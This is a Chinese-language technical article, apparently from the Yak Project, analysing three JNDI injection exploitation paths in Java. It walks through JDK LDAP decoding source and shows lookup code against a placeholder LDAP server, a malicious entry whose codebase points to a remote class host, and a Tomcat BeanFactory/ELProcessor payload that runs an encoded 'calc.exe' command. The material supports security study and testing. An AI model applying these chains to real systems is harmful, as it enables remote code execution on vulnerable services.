- 目标出网
- jdk<8u191
此处使用的是ldap协议，因此受影响的版本即8u191以下，此处对应的便是SimpleCommand的情况
查询后返回的entry
attribute内容如下
{objectclass=objectClass: javaNamingReference, javacodebase=javaCodeBase: http://xxx.xxx.xxx.xxx:8000/#SimpleCommand, javafactory=javaFactory: SimpleCommand, javaclassname=javaClassName: SimpleCommand}
static Object decodeObject(Attributes var0) throws NamingException {String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));try {Attribute var1;if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {ClassLoader var3 = helper.getURLClassLoader(var2);return deserializeObject((byte[])((byte[])var1.get()), var3);} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);} else {var1 = var0.get(JAVA_ATTRIBUTES[0]);return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);}} catch (IOException var5) {NamingException var4 = new NamingException();var4.setRootCause(var5);throw var4;}}
按照此处的逻辑首先拿到var2也就是codebasehttp://host:8000/#SimpleCommand
然后取出javaSerializedData存入var1，此处根本不存在这个属性所以为null，进入下一个分支判断；
取出javaRemoteLocation存入var1， 此处也根本不存在这个属性所以为null，进入最后一个else分支；
取出objectClass存入var1，也就是objectClass: javaNamingReference，此处不为null，进入判断是否包含javaNamingReference，大小写都判断一下是否存在，此处显然存在，因此会进入decodeReference()方法，此处传入两个参数，一个是整个attribute，另一个则是最先拿到的codebase var2
private static Reference decodeReference(Attributes var0, String[] var1) throws NamingException, IOException {String var4 = null;Attribute var2;if ((var2 = var0.get(JAVA_ATTRIBUTES[2])) == null) {throw new InvalidAttributesException(JAVA_ATTRIBUTES[2] + " attribute is required");} else {String var3 = (String)var2.get();if ((var2 = var0.get(JAVA_ATTRIBUTES[3])) != null) {var4 = (String)var2.get();}Reference var5 = new Reference(var3, var4, var1 != null ? var1[0] : null);if ((var2 = var0.get(JAVA_ATTRIBUTES[5])) != null) {BASE64Decoder var13 = null;ClassLoader var14 = helper.getURLClassLoader(var1);Vector var15 = new Vector();var15.setSize(var2.size());NamingEnumeration var16 = var2.getAll();while(var16.hasMore()) {String var6 = (String)var16.next();if (var6.length() == 0) {throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "empty attribute value");}char var9 = var6.charAt(0);byte var10 = 1;int var11;if ((var11 = var6.indexOf(var9, var10)) < 0) {throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "separator '" + var9 + "'" + "not found");}String var7;if ((var7 = var6.substring(var10, var11)) == null) {throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "empty RefAddr position");}int var12;try {var12 = Integer.parseInt(var7);} catch (NumberFormatException var18) {throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "RefAddr position not an integer");}int var19 = var11 + 1;if ((var11 = var6.indexOf(var9, var19)) < 0) {throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "RefAddr type not found");}String var8;if ((var8 = var6.substring(var19, var11)) == null) {throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - " + "empty RefAddr type");}var19 = var11 + 1;if (var19 == var6.length()) {var15.setElementAt(new StringRefAddr(var8, (String)null), var12);} else if (var6.charAt(var19) == var9) {++var19;if (var13 == null) {var13 = new BASE64Decoder();}RefAddr var17 = (RefAddr)deserializeObject(var13.decodeBuffer(var6.substring(var19)), var14);var15.setElementAt(var17, var12);} else {var15.setElementAt(new StringRefAddr(var8, var6.substring(var19)), var12);}}for(int var20 = 0; var20 < var15.size(); ++var20) {var5.add((RefAddr)var15.elementAt(var20));}}return var5;}}
首先判断是否包含必有属性javaClassName，必须得有这个，没有直接返回，再把javaClassName存入var3，此处值为javaClassName: SimpleCommand，再看看有没有javaFactory，这个是可选，假如有就存入var4，此处是包含的值为javaFactory: SimpleCommand，接着便根据javaClassName，javaFactory和codebase值建立一个Reference。接着判断javaReferenceAddress是否为null，此处属性不含这个，因此跳过。直接返回建立的引用Reference
返回到ldapCtx
在此处实例化了远程引用var3
跟进DirectoryManager中的getObjectInstance方法
核心点
factory = getObjectFactoryFromReference(ref, f);
先尝试本地加载，否则用codebase加载。最终因为加载我们的远程恶意类，再静态方法区嵌入恶意代码，实例化过程中被执行
java>8u191 修复原理，对使用codebase进行URLClassloader加载前进行trustURLCodebase判断
在使用远程codebase进行loadClass时不会像上面这样直接去Class.forName()而是
可以看到对trustURLCodebase进行了判断，只有为true才会进行实例化。
需要在SystemProperty中显式设置，否则默认为false
适用前提:
-
目标出网
- 其环境存在可以被利用的序列化gadget
import javax.naming.Context;import javax.naming.InitialContext;public class mainSer {public static void main(String[] args) throws Exception{Context context = new InitialContext();context.lookup("ldap://host:1389/CC6");}}
这次可以看到返回的属性少了很多，只返回了俩，javaSerializeddata和必有得核心属性javaclassname
前面部分都一样，核心点还是在com.sun.jndi.ldap.Obj#decodeObject()方法中
static Object decodeObject(Attributes var0) throws NamingException {String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));try {Attribute var1;if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {ClassLoader var3 = helper.getURLClassLoader(var2);return deserializeObject((byte[])((byte[])var1.get()), var3);} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);} else {var1 = var0.get(JAVA_ATTRIBUTES[0]);return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);}} catch (IOException var5) {NamingException var4 = new NamingException();var4.setRootCause(var5);throw var4;}}
这次直接在第一个if就符合有javaSerializeddata属性的条件，直接跟进deserializeObject()方法，传入两个参数:
最终在此处readObject触发java原生反序列化
适用前提：
- 目标出网
- 目标存在合适的工厂类例如Tomcat中广泛存在的org.apache.naming.factory.BeanFactory
import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.StringRefAddr;import javax.script.ScriptEngineManager;import org.apache.naming.ResourceRef;import org.apache.naming.factory.BeanFactory;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class mainFactory {public static void main(String[] args) throws Exception{//new ScriptEngineManager().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')");// String cmd = "'calc'";// String payload = ("{" +// """.getClass().forName("javax.script.ScriptEngineManager")" +// ".newInstance().getEngineByName("JavaScript")" +// ".eval("java.lang.Runtime.getRuntime().exec(${command})")" +// "}")// .replace("${command}", cmd);//// ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",// true, "org.apache.naming.factory.BeanFactory", null);// ref.add(new StringRefAddr("forceString", "x=eval"));// ref.add(new StringRefAddr("x", payload));// ByteArrayOutputStream out = new ByteArrayOutputStream();// ObjectOutputStream objOut = new ObjectOutputStream(out);// objOut.writeObject(ref);// ResourceRef a = (ResourceRef) new ObjectInputStream(new ByteArrayInputStream(out.toByteArray())).readObject();//// System.out.println(a);Context context = new InitialContext();context.lookup("ldap://host:1389/Tomcat");}}
和反序列化的利用手法有点一致，这里也是进行反序列化
服务器返回的恶意响应如上
static Object decodeObject(Attributes var0) throws NamingException {String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));try {Attribute var1;if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {ClassLoader var3 = helper.getURLClassLoader(var2);return deserializeObject((byte[])((byte[])var1.get()), var3);} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);} else {var1 = var0.get(JAVA_ATTRIBUTES[0]);return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);}} catch (IOException var5) {NamingException var4 = new NamingException();var4.setRootCause(var5);throw var4;}}
因此直接进入第一个if分支，进行反序列化，但是反序列化后还没完，反序列化后拿到的是
var3，这里又和情况1，加载远程codebase中的reference有点类似了，但是此处为ResourceRef，继续跟进
熟悉的getObjectInstance，从Reference中拿instance
ResourceRef[className=javax.el.ELProcessor,factoryClassLocation=null,factoryClassName=org.apache.naming.factory.BeanFactory,{type=scope,content=},{type=auth,content=},{type=singleton,content=true},{type=forceString,content=x=eval},{type=x,content={"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec(String.fromCharCode(99,97,108,99,46,101,120,101))")}}]
从ref中拿我们指定的factory
这里就是初始化本地的factory
核心点，调用了factory的getObjectInstance()我们跟进看看
这个情况下，目标BeanClass必须有一个无参构造方法，有public的setter方法且参数为一个String类型。事实上，这些setter不一定需要是set..开头的方法，根据org.apache.naming.factory.BeanFactory中的逻辑，我们可以把某个方法强制指定为setter。这里，我们找到了javax.el.ELProcessor可以作为目标Class。
可以看到这里主动从ref中拿属性
至此完成利用
这个org.apache.naming.factory.BeanFactory在
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina --><dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>8.5.75</version><scope>provided</scope></dependency>
依赖中也有el
但是实例化时会报错，缺少ExpressionFactory，必须搭配如下依赖才行
<dependency><groupId>org.apache.tomcat.embed</groupId><artifactId>tomcat-embed-el</artifactId><version>8.5.45</version></dependency>
通过对java JNDI相关部分源码具体分析，能够对各种利用链攻击手法产生更深入了解。结合Yakit的Fuzztag能够更熟练的选择payload对目标进行渗透测试。
原文始发于微信公众号（Yak Project）：JNDI的基础利用总结（下篇）
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